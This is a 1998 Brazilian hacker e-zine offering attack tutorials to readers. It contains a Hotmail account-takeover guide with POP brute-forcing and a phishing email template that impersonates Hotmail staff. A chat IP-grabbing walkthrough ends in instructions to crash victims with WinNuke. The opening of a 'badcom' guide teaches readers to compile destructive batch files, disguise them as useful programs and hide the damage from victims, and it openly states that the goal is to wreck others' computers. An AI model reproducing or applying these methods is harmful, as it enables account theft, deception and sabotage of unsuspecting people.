text size:
CRT glow:
┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐
└╩═══╦┐ ├╬══ │║ ║│
└╩═══╩┘ └╩═══╩┘ └╩══╬╩┘
┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦ ╦┐ ┌╦═══╦┐
│║ ║ ║│ ├╬═══╬┤ └╩═══╦┐ └╩═══╦┐ ║ │║ ╔╝┘ ├╬══
└╩ ╩┘ └╩ ╩┘ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩═╝ └╩═══╩┘
┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐
├╬══ ═ ┌╦═══╩┘ ║ │║ ║│ ├╬══
└╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩ ╩┘ └╩═══╩┘
ANO 1 - Número 1 [Maio/1998]
┌╔═ ═╗┐
│║ INTRODUÇÃO ║│
└╚═ ═╝┘
Yeeaahhh, esta é minha primeira Zine Oficial !!! Sempre quis fazer
uma Zine, mas nunca tive tempo, a não ser a Bad E-zine, que tratava
somente de Badcom's e Badwin's... Mas agora, vou falar de tudo um pouco!
Depois de ficar meio sem aparecer na NET, volto com tudo, mas por
pouco tempo, pois estou sem aula por causa de greve nas faculdades ;-((,
não sei quando volto a bitolar minha cabeça nas aulas... mas enquanto ñ
volto, vamos ao que interessa...
PS: Este TXT foi totalmente editado em MS-DOS no programa EDIT, portanto
vai truncar tudo se quiser ver no Notepad ou etc... Vc's ja sabem disso..
┌╔═ ═╗┐
│║ DISCLAIMER ║│
└╚═ ═╝┘
Sempre o mesmo Blá, Blá Blá... mas é preciso, e quem tem Zine ou sempre
ta soltando textos pela Net sabe muito bem disso... Há muita coisa envolvida
nisso. Bom, Esta E-zine foi feita, fundada etc.. etc.. por SeQ MaSsÎvE e é
TOTALMENTE Proibida a cópia ou roubo do material contido aqui !!! Também
NÃO me responssabilizo por mau uso do material contido aqui, tanto é que ja
tive muita paciência com "Alguns" que arrebentaram o proprio PC e veio por
a culpa em mim !
┌╔═ ═╗┐
│║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│
└╚═ ═╝┘
Não tenho novidades por enquanto, e não achem ruim que a Zine ficou
pequena, a Primeira vez a gente nunca esquece.. ;-).
Vou mostrar aqui uma coisa que ja publiquei na minha Home Page (http://
www.terravista.pt/Meco/1840), que é um E-Mail que recebi de um tal de Devil
Joke.
Isso esta aqui porque ??
R: Simples... quero mostrar para todos os leitores o que chega na minha pobre
conta POP. E Também Dizer pela 1000lézima vez que "NÃO SOU" e não me intitulo
Hacker porra nenhuma... Sim, esta Zine é sobre Hacking, mas falta muito pra
eu ser Hacker, e assumir isso como um estilo de vida.
Veja a seguir o Mail na Integra...
Received: from hotmail.com (f99.hotmail.com [207.82.250.218]) by
voyager.softdes.com.br (8.8.6/8.8.6) with SMTP id LAA25120 for
<seq@bestway.com.br>; Wed, 22 Apr 1998 11:16:07 -0300
Received: (qmail 22597 invoked by uid 0); 22 Apr 1998 14:08:48 -0000
Message-ID: <19980422140848.22595.qmail@hotmail.com>
Received: from 200.239.6.39 by www.hotmail.com with HTTP;
Wed, 22 Apr 1998 07:08:36 PDT
X-Originating-IP: [200.239.6.39]
From: Ändre Souza"<devil_joke@hotmail.com>
To: seq@bestway.com.br
Subject: Hi.. B0RA BaTER uM PaP0!!
Content-Type: text/plain
Date: Wed, 22 Apr 1998 07:08:36 PDT
X-UIDL: babefba1e3b1fe3e12b58b2d3c6bdff3
Hi.. mY NaME iS [DEViL JOKE]..
V0U C0MECaR a FaLaR 0 KE aCH0 DE Sua(Z) BRiNCaDEiRAS..
SEGuiNTE "SEu hACKER",BaDC0MS Eh MuiT0 Paia.. PQ Na0 aPRENDE
ASM ou QQ uMa LiNGUaGEM DE aLT0 NiVEL (devo estar falando ingles)
E FaZ "BaDC0MS"MuiT0 MaiS EFiCiENTEZ ??
Na0 aCH0 ERRaD0 Sua TENTaTiVa LaMER DE TENTaR SER aLGuEM N0 MuND0
UNDERGROUND ,MaS TENTe SEr MaiS CRiaTiV0.. VC SE aCHa o HaCKER E
Na0 Eh P0000RRA NENHuMA!!
CaPTuREi aLGuMAS FRaSES SuAS..
>> - Nuke -> Parece que hoje em dia os lammers so pensam em Nuke's, uma
>> droga de programa que não serve pra nada... pois ha proteções e etc..
>> EU ODEIO NUKE'S... eta coisa de lammer !!!! Bom, faca igual o meu
>> NuKe 98, que esta disponivel em http://badcom.home.ml.org
(DEPoiS EU TE MaND0 0 "NuKiNNG iP"E N0iS C0NVERCaM0S!)
VC FaLA C0M0 SE F0SSE o "hACKERZA0"!!
E Na0 Eh NADA!! (FiC0 PuT0 C0M iSS0 tB)
...BLZ ESTa iND0 PEL0 CaMiNH0 ERRAD0 SE KER SER aLGUEM N0 MuND0
UNDERGROUND. Vi aLGuNS DE SEUS "PR0GRAMAS BaDCoMS".. MuiT0 Paia..
CHEGa DE PaP0 FuRaD0 E VaM0S a0 KE iNTERESSA!!
SEGuiNTE..
KE P0RRA Eh ESSa DE SataniC ??
iSS0 ME iNTERESSA MuiT0 PQ S0u o ViCE PRESiDENT Da SaTaNiC'NET ,E
N0iS D0 GRouP Na0 aCEiTaM0S iSS0.. iMiTaCa0 !! (acho ke nem vc gosta..)
P0iSE.. G0STaRia DE SaBER a URL Da "HoME PaGE LaMER SuXZ"da SataniC !!
A SaTaNiC'NET D0 KaL S0u MEMBR0 Ja EXiSTE EM BRaSiLia-DF aH MaiS DE 6
aN0S!
Na0 aCEiT0 uM BaND0 DE LaMERZ uSaR 0 NoME PARA SuaS 0BRaS LaMERZ..
SaKA??
ai.. 0LHA S0h..
>> Agradecimentos:
>> somente a SataniC, que alem de nao ter me ajudado a editar
>> esta porra, e os Webmasters que sao meus amigos..
>> E ai galera a SataniC vai ou n
SaTaNiC'NET WEB SiTE:
http://xxx.satanic.net/xxx/private/nolamerz/nonerdz/fuckyou.htmla
ai.. Sua SENhA DE LoGoN PeL0 FTP Da Sua H0ME PaGE Eh BEM DiFiCiL EM
??!!??
Ja EST0U a EXaTaMENTE 12:43 MiNuT0S PR0CuRaND0 E Na0 aCH0..
ia ESCREVER a MSG DENTR0 Da Sua PaGE.. MaS C0M0 DEM0R0U ,RES0LVi P0STAR
uMa "MSG LaMER SuXZ.."
ai.. Eu SEi KE VC Vai RESP0DER ME XiNGaND0.. MaS TuD0 BEM..
Eu ENTEND0 aT0S LaMERZ..
OkZ.. aCH0 KE ENTENDEU 0 RECaD0......
C Ya...
[ZaCK SLAiER] aND [DEViL JOKE]
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
...
É Parece que ele executou algum Badcom perdido por ai na NET...
┌╔═ ═╗┐
│║ CÓDIGO FONTE ║│
└╚═ ═╝┘
Todos os Números, vão ter sempre um programa em código Fonte na Integra,
nesta Zine Número 1, o código fonte do Nuke Path 2.0., Depois de muito
bug, ele funciona bem, no 2.0.
Para compilalo, use o BAT2EXEC.COM
__________Corte__________
@echo off
:
:
:
:
: SeQ MaSsÎvE® 1998 (Todos os direitos reservados)
:
: Project Name: SeQ MaSsÎvE's No Nuke Path 2.0;
: Original File Name: patch.bat;
: Compiled File Name: patch.com;
: Original Date: Sexta-feira, 6 de Março de 1998;
: Programer: SeQ MaSsÎvE®;
: Dependency Files: ansi.com;
: Company Name: <none>;
:
: OBS: É totalmente proibida o roubo de informações contidas neste ;
: patch, qualquer dúvida ou bug relatado, favor entrar em contato;
: com seq@bestway.com.br ou seq_puc@hotmail.com;
:
:
:
: Carregando ANSI.COM...;
ansi.com
:Tela Kami;
echo [?7h
echo ██ ▄█▀ ▄▄▄███▄ ▄█▀█▓ ██▓ ██ ▄█▀ ▄▄▄▓███████▒ ▓ ▄▄██
echo ██▄█▒ ▒▄▀ █▄▓██▒▀█▀ ██▒ ▓Ì█▒ ██▄█▒ ▒▄▀ █▄▒ ▒ █░ ▓█ ▀
echo ▓███▄░ ▒██ ▀█▄ ▓██ ▓█ ░ ▒ █▒ ▓███▄░ ▒██ ▀█▄ ░ █████ ░ ▒█ █
echo ▓██ █▄ ░▄█▄▄▄▄██ ▒██ ▒ ░Ì ░ ▓██ █▄ ░▄█▄▄▄▄██ █▓ ▒▓█ ▄
echo ▒▄█▓ █▄ ▓█ ▓██▒ ▒▄█▒ ░ █▒ ░Ì█░ ▒▄█▓ █▄ ▓█ ▓██▒ ▒▀▄▄▄▄██▓ ░▒████▒
echo ▒ ▒▒ ▓▒ ▒▒ ▓▒█░ ░ ▒░ ░ ░ ░▓ ▒ ▒▒ ▓▒ ▒▒ ▓▒█░ ░▒▒ ▓░▒░▒ ░░ ▒░ ░
echo ░ ░▒ ▒░ ▒ ▒▒ ░ ░ ░░ ▒ ░ ░ ░▒ ▒░ ▒ ▒▒ ░ ░░▒ ▒ ░ ▒ ░ ░ ░
echo ░ ░░ ░ ░ ▒ ░░▒ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
echo █▀▄░█ ░▄░ ▀ ░ ░ ▄▀▀▄█ ░█▀█ █▀█ █▀█ ▄▀ █▀▄ ▀▄
echo █▀ █▀▄ █▀█ █▀█ █ █ █▀▀ ▀█▀ █ █▀█ █▀█ ▀▄█ ▀▀█ ▀▀█ █▀█ █ █▀▄ █
echo ▀ ▀ ▀▀▀ ▀▀▀ ▀▀ ▀▀▀ ▀ ▀ ▀▀▀ ▀ ▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀ ▀ ▀ ▀ ▀
echo
pause
: Var 1 - Inicio;
:ini
cls
: Carregando Tela 1...;
echo [?7h
echo ▒▒▒ SeQ MaSsÎvE's (No NukE Patch 2.0)▒▒▒
echo ▒▒▒▒▒▒BUG FIXED▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒Este programa irá te proteger de qualquer▒
echo ▒tipo de Nuke, para instalar a proteção ▒
echo ▒siga as instruções abaixo.▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒Digite:▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒[1] Para instalar a proteção.▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒[2] Para desinstalar a proteção.▒▒▒▒▒▒▒▒▒▒
echo ▒[3] Sobre este patch!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒[4] Sair.▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo
: Choice;
choice /n/c1234
: Declarando funções;
if errorlevel 4 goto end
if errorlevel 3 goto sob
if errorlevel 2 goto des
if errorlevel 1 goto ins
: Var 2 - ins;
:ins
cd\
echo searching...
cd\win\system
cd\windows\system
cd\win95\system
cd\wind\system
cd\win311\system
ren vnbt.386 vnbt.seq
cls
echo Proteção Instalada, Reinicie seu computador para que as novas
echo configurações sejam ativadas...
goto end
: Var 3 - des;
:des
cd\
echo searching...
cd\win\system
cd\windows\system
cd\win95\system
cd\wind\system
cd\win311\system
del vnbt.386
ren vnbt.seq vnbt.386
cls
echo Proteção Desinstalada, Reinicie seu computador para que as novas
echo configurações sejam ativadas...
goto end
: Var 4 - sob;
:sob
cls
echo [?7h
echo ▒▒▒ SeQ MaSsÎvE's (No NukE Patch 2.0)▒▒▒
echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒Este programa protege você de Nukes, ▒
echo ▒que atingem um Bug do Windows durante o ▒
echo ▒acesso à Internet..Para saber mais sobre ▒
echo ▒este BUG, contate-me pelo e-mail: ▒
echo ▒seq@bestway.com.br ▒
echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
echo ▒Este Programa foi feito por SeQ MaSsÎvE ▒
echo ▒Kamikaze Productions 1998. ▒
echo ▒Especial Thanx to: ▒
echo ▒WarBlade and Krail, Kamikaze Producitons ▒
echo ▒Qualquer tecla para voltar ▒
echo
pause
goto ini
: Fim;
:end
__________Corte__________
┌╔═ ═╗┐
│║ TEXTOS ENVIADOS POR AMIGOS ║│
└╚═ ═╝┘
Este primeiro foi enviado por Mr. YoZZo, e e' em Ingles... Mostra varios
modos de se Hackear o Hotmail (http://www.hotmail.com).
Valeu'z Mr YoZZo, Seu artigo faz parte da primeira Zine.. se quiser mandar
mais material e so' falar comigo.
Texto enviado por: Nick: Mr. YoZZo
UIN: 4821767
Home Page: http://chatspam.home.ml.org
http://mcpage.home.ml.org
ááá NEW Hotmail-Hacking-text V4
ááááááááááááááááá Only parts of this text are new (look below)
-----------------------------------------------------------------------
I_1_Iá - Brute force hacking
a. Use telnet to connect to port 110 (Hotmail┤s pop-server)
b. Type USER and then the victim┤s username
c. Type PASS and then the guess a password
d. Repeat that until U have found the correct password.
!. This is called brute force hacking and requires patience.
It┤s better than trying to guess the victims password on
hotmail homepage only because it┤s faster.á
____I_2_Iá - The Best way
a. Get the username of the victim (It usually stands in the adress-field )
b. Then type " www.hotmail.com/cgi-bin/start/victimsusername "
c. U┤re in!
!. This hack only work if U are on the same network or computer as the
victim and if he don┤t log out.á
____I_3_Iá - The old way
a. Go to http://www.hotmail/proxy.html
b. Now type the victims username. (press login)
c. Look at the source code.
d. On the fifth row U should find "action=someadress"
e. Copy that adress and paste it into the adress-field
f. You are in...
!. As you can see it┤s a long procedure and the victim have
plenty of time to log out.á
á____I_4_Iá - Another... a. Go to hotmail┤s homepage
b. Copy the source code.
c. Make a new html file with the same code but change method=post tomethod=enter
d. "view" the page
e. Change the adress to www.hotmail.com/ (don┤t press enter!)
f. Make the victim type in his username and password
g. Look in the adress-field. There you┤ll see ...&password:something... á
!. This is the way I use, because it lets you know the password.
(If he exits the browser U can see the password in the History folder!)READ!
Hotmail┤s sysops have changed the "system" so that the victim may log out even
if U are inside his/her account. So don┤t waste U┤r time!---
So you want to get some hotmail passwords?á
This is pretty easy to do once you have got the hang of it.á
If you are a beginner, I wouldn't make this your first attempt at
hacking.á When you need to do is use a port surfer and surf over to
port 80.á While there, you have to try and mail the user that you
want the password from.á It is best to mail them using the words
"We" and "Here at Hotmail..."á Most suckers fall for this and end
up giving out their password.á There is another way to also, you can
get an anon mailer, and forge the addres as staff@hotmail.com.á But
you have to change the reply address to go to a different addres
like user@host.com.á The person that you are trying to get the pass
from MUST respond to that letter for the mail to be forwarded to you.
Have text like "Please reply to this letter with the subject "PASSWORD"
and underneith please include your user name and password.á
If you have trouble Loging in withing the next few days, this is
only because we are updating our mail servers but no need to worry,
your mail will still be there.á Even though the server may be down
for an hour.á From the staff at Hotmail, Thank You."á
┌╔═ ═╗┐
│║ IP's By WarBlade ║│
└╚═ ═╝┘
Texto feito por WarBlade, quando era da Kamikaze, portanto, ha' alguma
coisa relacionada a Kamikaze, para nao modificar o original, eu nem alterei
nada.
WarBlade, Valeu cara pelo Texto... Espero que faça mais textos pra entrar na
Zine !!!, Valeu'z
Texto Enviado e Feito por: WarBlade
UIN: 1858333
Home Page:
IP`s
Bom pra início de conversa, quero deixar bem claro que esse texto foi feito
pela Kamikaze Productions e a reprodução deste material é restrito portanto
entre em contato antes de querer reproduzi-lo. Aqui neste txt especial de IP
da Kamikaze você vai ter a opuortunidade de aprender como nukar uma pessoa,
como pegar o IP de uma pessoa em chats, com HTML ou sem HTML e como saber
qual é o provedor que o cara do IP tem. Coisas simples de se fazer, mas
que muita gente não sabe e gostaria de aprender, portanto esta aqui o que
você queria. Vamos acabar com essa história de que só da para pegar ip em
sala com HTML, usando um comando de Dos, que muita gente já conhece tambem,
mas não tem problema nenhum ressaltar.
Para aprender a fazer estas coisas, você tera que ceder alguns minutos de
sua vida lendo este HTM, e acompanhar os precessos de rastreamento de IP em
chats,e tambem poderá fazer o download de dois programas, uma para NUKAR o IP
que você rastreou, e outro para rastrear o provedor do IP.
Aqui vai um conselho bom: Preste atenção com quem você quer nukar, pois quem
tem programa de nukar, tem programa de se defender de NUKES, programas que
desligam a porta 139 e rastream o ip de quem tentou nuka-lo, portanto tome
cuidado com quem você vai "tentar"nukar, pois o tiro pode sair pela culatra,
e o nukado pode ser VOCÊ ;) Mas chega de papo furado e vamos para o que
interessa, boa leitura...
Assuntos tratados
1-) Como pegar IP em uma sala com HTML
2-) Como pegar IP de uma pessoa em uma sala sem HTML
3-) Como nukar um IP (download do programa)
4-) Como rastrear o provedor do IP (download do programa)
Pegando IP em uma sala com HTML
Bom pegar ip em sala de HTML é muito simples, basta você ter um dos dois
programas chamado, Omni Httpd ou Xitami. Aconselho que você faça o download
do Omni Httpd Professional 2.0 Alpha pois é melhor que o Xitami. Você pode
fazer o download deste programa na seção de Files de nossa home page.
Para pegar o bendito ip, você tem que somente colocar uma imagem *.gif ou
*.jpg no diretório c:/Httpd/Htdocs/
Vamos supor que você colocou uma imagem chamada:
kamikaze.gif neste diretório. Então, logo após vá para o chat desejado,
www.uol.com.br, www.sti.com.br,ou qualquer outro que tenha salas que aceitem
os tags HTML. Ápos ter entrado em um desses chats, vá ao Prompt do MSDOS
(supondo que você use o Windows) e digite o comando netstat e veja o seu IP,
isto é o ip que você esta usando naquele momento.
Então o que você tem que fazer agora é muito facil, basta colocar este
comando no Campo de mensagem do chat. <img src="http://seuip/kamikaze.gif">
A imagem irá aparecer no chat, é claro, então você da um shutdown no Omni
Httpd e vá para o Bloco de Notas ou o Word e abra o seguinte arquivo
c:/Httpd/Logs/access.log
se você não tiver dado o shutdown no server ele não irá abrir o arquivo,
pois vai aparecer uma mensagem de que o Omni esta usando o arquivo, por isto
entre no programa e clique em Admin e depois em Shutdown Server.
Com isso vai aparecer no access.log o IP do condenado e o nickname dele,
veja no exemplo como irá aparecer.
200.000.000.000 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0
"200 9657 "http://200.240.5.38:2000/BODY&USER=CLAUDIO&VERBOSE=0&HISTORY=4&NO
PIC=0&""Mozilla/3.0Gold (Win95; I)"200.000.000.000
200.200.200.200 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0
"200 9657 "http://200.240.5.38:2000/BODY&USER=LAMMER&VERBOSE=0&HISTORY=4&NOP
IC=0&""Mozilla/3.0 (Win95;I)"200.000.000.000
200.000.000.000 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0
"200 9657 "http://200.240.5.38:2000/BODY&USER=JÚNIOR&VERBOSE=0&HISTORY=4&NOP
IC=0&""Mozilla/4.01 [en] (Win95; U)"200.000.000.000
Ordem das informações:
IP da pessoa/ Data e horário/ A figua que você mandou/ O chat que você estava/
O nikaname das pessoas/ O browser e o sistema operacional que a pessoa esta
usando/ Seu ip/
Então se eu quizese neste exemplo saber o ip da suposta vítima (no caso que
quero saber o ip do Lammer), é só você ir no fim da lista procurar o nikname
da pessoa, no caso Lammer e voltar a frente da lista para ver o ip dela.
Lammer= 200.200.200.200
Pronto, entre agora com o seu Nuker e manda bala na vítima. ;)
Obs: Nem sempre o nickname da pessoa vai aparecer de primeira tentativa,
portanto fique tentando sempre até aparecer o nickname dele.
Pegando IP em salas sem HTML
Bom agora vem o mais importante, pegar ip em um chat que não aceite tags HTML.
Mas por incrível que pareça, é mais facil do que pegar um ip em uma sala que
aceite tags de HTML. O truque é o seguinte vá ao Prompt do MSDOS e digite:
arp -a
isto é [arp(espaço)-a] Com isso irá apareçer um monte de IPs lá, exemplo:
|200.200.200.200
|200.000.000.000
|200.000.000.001
|200.000.000.002
O primeiro IP é o seu e o ultímo IP é do cara que te mandou por ultimo uma
mensagem no chat. Isto é, vamos supor que o Rick te mandou uma mensagem, ele
mandou:
Rick fala para VOCÊ: OI cara tudo bem?
Dai você resolve pegar o ip dele, e vai ao dos e da o arp -a, o ultimo IP que
esta lá é o IP do Rick, isto se ninguêm mais tiver te mandado uma mensagem
neste tempo.
Chegamos a conclusão:
Rick=200.000.000.002
Você=200.200.200.200
E pronto você já tem o IP da vítima. E agora que você já sabe como pegar o IP
de uma pessoa, não preca tempo e pegue logo o programa de nukar IP. :)
Nukando IPs.
Pra nukar um IP, é muito simples, basta fazer o download de algum NUKER bom,
ou por exemplo o download do wingenocide que simplesmente COME memôria RAM do
computador da vítima.
Não se preocupe pois não vamos ficar falando a parte teórica de como funciona
o NUKE, basta você saber bem por cima de que há uma porta 139 que tem um bug,
e é essa porta que você vai nukar, retirando a pessoa da internet (desconecta
ndo-a). Se você esta interessado em fazer o download de um programa de NUKE
sugiro que você pegue um programa chamado Winnuke, que já ganhou fama por ser
um programa muito bom.
Usando este programa basta você pegar o ip da vítima, sendo por qualquer modo
que ensinamos acima, ou por outro método e colocar este IP no campo indicado
no programa, depois é só você apretar o botão NUKE! e esperar aparecer a
mensagem de que o nuke foi enviado.
Rastreando o prvedor do IP.
Se você não quer nukar, por qualquer motivo, sendo por ter medo dele ter
proteção ou por não querer mesmo, ou se você quer apenas dar um susto na
vítima do IP, esta é uma solução boa, pois com este programa você pode
rastrear o provedor do dono do IP. Por exemplo, o cara chega te abordando
e te provocando então você pega o ip deke como ensinamos, rastreia o provedor
dele, faz de conta que é a NETWEB e diz pra ele... "Fica de boa ai cara, e a
proposito a NETWEB continua rápida como sempre?"
Isto vai dar um bom susto nele com certeza. Para fazer isto basta você fazer
o download de um programa SCAN. Aqui você pode fazer o download do IPscan que
é o mais simples dos SCANS, mas se você prefirir vá até nossa seção de arquivos
e copie o cyberkit ou outro qualquer. Usando o IPscan, tudo que você tem que
fazer é colocar o IP da pessoa no campo indicado e apretar START que logo irá
aparecer o provedor da pessoa em baixo.
Se você gostaria de fazer o download deste programa, ele se encontra em
vários Sites da Net, e também na Kamikaze Productions, ele vem com o nome de
IPscan.zip
Bom, acho que isso é só, tome cuidado com o que você for fazer e bom
divertimento, e leia mais textos feitos pela Kamikaze.;)
Este texto foi feito por WarBlade da Kamikaze Productions.
Agradecimento especial a «MëmKëëpër®», que ajudou a Kamikaze.
Valeu'z War, por ter deixado colocar seu Txt aqui !!!
┌╔═ ═╗┐
│║ GUIA DEFINITIVO DE BADCOM'S ║│
└╚═ ═╝┘
Este Texto, ou melhor.. Esta Biblia.. hehe foi enviada por ØvërlørÐ, que
Bitolou em Badcom's e fez uma biblia sobre o assunto, eu não cheguei a ler
tudo, mas só de dar uma olhada da pra notar que ta Completissimo !!
Valeu'z ØvërlørÐ, Querendo mandar mais coisas, estamos aí.
──────────────────────────────────────────────────────────────────────────────
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
┌────────────────────────────────────────────────────────────────────────────┐
│ Ê────┐ Í──┐ Ê──┐ Í─────┐ Í──┐ Í─Ê─┐ Í─┐ │
│ ║ │ Ã──┤ ║ │ ║ ║ │ ║ ║ │ Ë─┐ │
│ Ã────┴┐ ð ┴ ð──┘ ║ Ë──┘ ð ð ┴ Ë──┘ │
│ ║ │ ║ │
│ ð─────┘ Ë─────┘ │
│ │
│ O GUIA DEFINITIVO - Versão 1.666 │
│ │
│ AUTOR: ØvërlørÐ │
└────────────────────────────────────────────────────────────────────────────┘
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
──────────────────────────────────────────────────────────────────────────────
┌────────────────────────────────────────────────────────────────────────────┐
│\/\/\/\/\/\/\/\/\/\/\/\/\/ - - = [ AvIsO ] = - - \/\/\/\/\/\/\/\/\/\/\/\/\/\│
├────────────────────────────────────────────────────────────────────────────┤
│ Não vou dizer que esse texto é apenas para fins informativos e que tudo │
│ que está contido aqui não deve ser usado porque eu sei muito bem que quem │
│ está lendo isso quer mesmo é fuder o computador de alguém, mas lembre-se │
│ de que eu, ØvërlørÐ, não estou nem aí com o que pode acontecer com você │
│ devido ao uso das informações aqui contidas. Se o seu cachorro morrer, │
│ você engravidar sua empregada ou se terroristas invadirem sua casa e │
│ explodirem seu computador não venha me encher o saco, FODA-SE! :-) │
│ Use essas informações à vontade, mas faça tudo por SUA conta! │
│ Você pode copiar este arquivo, contanto que deixe bem claro que EU sou o │
│ único autor desse texto. Não fazendo isso você só estará provando o lamah │
│ que é... Agora chega de falar merda e vamos ao que interessa... │
└────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────────────────┐
│\/\/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ÍnDicE ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/│
└────────────────────────────────────────────────────────────────────────────┘
1. IntroDuçÃo AoS BaDComS
1.1) Informações gerais
1.2) O que é necessário?
1.3) Como fazer um BADCOM?
2. ComAnDoS dO DoS
2.1) ECHO
2.2) DEL/ERASE
2.3) DELTREE
2.4) FORMAT
2.5) FOR
2.6) IF
2.7) SET/VARIÁVEIS NO DOS
2.8) GOTO
2.9) VER
2.10) VOL
2.11) CLS
2.12) ATTRIB
2.13) CALL
2.14) CHOICE & ERRORLEVELS
2.15) COPY
2.16) CTTY
2.17) DIR
2.18) TYPE
2.19) MORE
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21) LABEL
2.22) FIND
2.23) PAUSE
2.24) REN/RENAME
2.25) SUBST
2.26) TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
3. ReCurSos InTeRessAnTeS
3.1) PIPES
3.2) Redirecionamento de I/O
3.3) Diretórios inacessíveis
3.4) ANSI
4. ExEmPloS (100% ComENtAdoS)
4.1) Detectando o idioma do DOS
4.2) Detectando a data do computador
4.3) ANSIBOMB
4.4) Travando o computador
4.5) Time Bomb
4.6) Enchendo o HD de lixo
4.7) Abrindo janelas infinitamente
4.8) Usando o DOSKEY pra destruir
4.9) Travando o computador durante a inicialização
5. CoMo ConTaTar o AUtOr
ApÊnDiCe B: TaBeLa ASCii
Apêndice B: ERRoRlEvElS
┌────────────────────────────────────────────────────────────────────────────┐
│/\/\/\/\/\/\/\/\/\ - - = [ IntroDuçÃo AoS BaDComS ] = - - /\/\/\/\/\/\/\/\/\│
└────────────────────────────────────────────────────────────────────────────┘
1.1) Informações gerais
BADCOMS são, basicamente, arquivos batch do DOS transformados em
arquivos executáveis com o uso de um compilador.
"Mestre, mestre! Ilumine as trevas de minha ignorância
com a luz de sua sapiência! Por que eu deveria me dar ao trabalho
de compilar os batches?"
Simples, qualquer imbecil sabe pra que servem comandos como
o FORMAT ou DEL e qualquer imbecil também sabe usar o comando
TYPE pra ver o conteúdo de um arquivo, logo, se esse mesmo imbecil
der um TYPE no seu batch e ver qualquer comando "estranho", vai
saber de suas más intenções e não vai rodar o programa. Se você
transformar em um executável, ninguém poderá ler o conteúdo do
arquivo e você poderá fazer a festa! :-)
1.2) O que é necessário?
Você precisa apenas de um editor de texto (MS-DOS Edit RuleZ!),
um compilador de arquivos .BAT, conhecimentos básicos de DOS,
criatividade e uma vontade louca de detonar alguém! :-)
Uma ferramente opcional: editor de telas ANSI, pra voce não ter
que escrever toneladas de códigos de escape pra fazer uma tela
legal.
Onde encontrar ferramentas úteis:
-> http://www.filez.com
1.3) Como fazer um BADCOM?
Fácil. Abra seu editor ASCII favorito e escreva os comandos que
você quiser. Mas um BADCOM não adiantará nada se a interface não
for convincente. Não é nada inteligente exibir uma mensagem como
"Ha, Ha, Ha! Detonei seu HD!", a melhor coisa a fazer é terminar o
programa com uma mensagem de erro, porque se o cara vier te amolar
você responde: "UÉ... AQUI FUNCIONOU LEGAL...". O principal é:
SEJA REALISTA! Se você vai dizer pra sua vítima que o seu BADCOM é
um MailBomber, faça ele se parecer com um MailBomber. Outra idéia
legal é pegar qualquer arquivo executável e renomear ele pra ?.DAT
e mandar junto com o seu programa. Qualquer um desconfia quando
você passa um único arquivo executável de 2KB.
┌────────────────────────────────────────────────────────────────────────────┐
│\/\/\/\/\/\/\/\/\/\/\ - - = [ ComAnDoS dO DoS ] = - - /\/\/\/\/\/\/\/\/\/\/\│
└────────────────────────────────────────────────────────────────────────────┘
Essa parte contém vários comandos que podem ser utilizados não
só em BADCOMS mas em batches inofensivos. Para maiores informações
sobre os comandos do DOS escreva HELP no prompt ou se quiser saber
mais sobre um determinado comando escreva o comando e adicione a
opção /?.
Exemplos: C> echo /?
C> format /?
C> for /?
2.1) ECHO
Sintaxe: ECHO [string]
Exemplo: C> echo Fuck You
Fuck You
O comando ECHO, de forma geral, exibe uma string na tela. Caso
essa string seja OFF, desativará a exibição dos comandos na
tela. Se for ON, ativará a mesma.
Exemplo de arquivo:
[echo1.bat]
echo on
echo ECHO está ativado
echo off
echo ECHO está desativado
Quando você rodar esse programa, verá o seguinte:
C> echo on
C> echo ECHO está ativado
ECHO está ativado
C> echo off
ECHO está desativado
